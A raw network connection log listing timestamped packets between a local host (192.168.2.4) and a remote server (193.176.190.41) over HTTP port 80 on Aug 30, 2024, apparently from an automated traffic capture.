Aug 30, 2024 18:13:02.795464993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.795465946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.795479059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.795496941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.795528889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.795990944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796000957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796044111 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.796159983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796169996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796180010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796190977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:02.796210051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.796227932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.843998909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:02.849231958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018565893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018583059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018594027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018614054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018624067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018635035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018646002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018750906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.018750906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.018789053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018841982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.018981934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.018992901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019002914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019012928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019023895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019023895 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019036055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019047022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019053936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019064903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019076109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019083023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019104004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019121885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019550085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019561052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019572020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019581079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019592047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019602060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019608021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019612074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019623995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019634008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019643068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019644022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019654989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019665003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019665956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019678116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019684076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019690037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019701004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019705057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019717932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.019721031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019742012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.019764900 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020368099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020380020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020390034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020405054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020415068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020420074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020427942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020447016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020467997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020662069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020673037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020683050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020710945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020724058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020817995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020836115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020844936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020854950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020864010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020867109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020879984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020884037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020890951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020900965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020910025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020910978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020922899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020926952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020934105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020937920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020946026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020961046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020967960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.020972013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.020987988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021008968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021787882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021800041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021810055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021819115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021828890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021838903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021848917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021850109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021859884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021869898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021871090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021882057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021889925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021893978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021904945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021908998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021915913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021927118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021929979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021938086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021948099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.021949053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021961927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.021976948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022002935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022743940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022754908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022763968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022773981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022783995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022794008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022794962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022805929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022814035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022816896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022828102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022830009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022839069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022851944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022851944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022862911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022872925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022880077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022883892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022896051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022903919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.022912979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022931099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.022948980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023662090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023674011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023683071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023693085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023700953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023710966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023720980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023720980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023730993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023741007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023750067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023751020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023761034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023771048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023772001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023782015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023791075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023792028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023802996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023811102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023813963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023824930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023833990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.023834944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023849010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.023870945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.024446011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.024456978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.024492979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104682922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104695082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104706049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104793072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104803085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104813099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104861975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104861975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104861975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104913950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104943991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104952097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.104958057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.104999065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105045080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105061054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105072021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105093956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105110884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105117083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105176926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105216026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105248928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105262041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105272055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105282068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105293036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105300903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105314970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105315924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105343103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105519056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105530977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105541945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105551958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105562925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105572939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105573893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105585098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105602980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105621099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105918884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105930090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105940104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105950117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105959892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105967045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.105971098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105986118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.105997086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106028080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106210947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106261015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106300116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106312990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106323004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106333017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106343031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106350899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106353998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106367111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106368065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106401920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106807947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106818914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106828928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106837988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106848955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106858015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106863022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106870890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106882095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106885910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106893063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106899977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.106904030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106915951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106925964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.106933117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107522011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107532978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107542038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107552052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107558012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107569933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107579947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107588053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107589960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107601881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107613087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107620001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107623100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107635021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107642889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107645988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107657909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107661963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107669115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107680082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107686043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107692003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.107700109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107714891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.107745886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108458042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108469009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108478069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108493090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108503103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108513117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108521938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108526945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108534098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108542919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108553886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108561993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108562946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108572006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108584881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108588934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108599901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108604908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108611107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108622074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108630896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108632088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108645916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.108659983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108674049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.108700991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109349966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109360933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109370947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109380007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109390020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109400034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109414101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109416962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109427929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109437943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109447956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109447956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109458923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109464884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109471083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109481096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109481096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109493017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109503031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109509945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109513044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109525919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.109543085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.109555960 CEST	49733	80	192.168.2.4	193.176.190.41
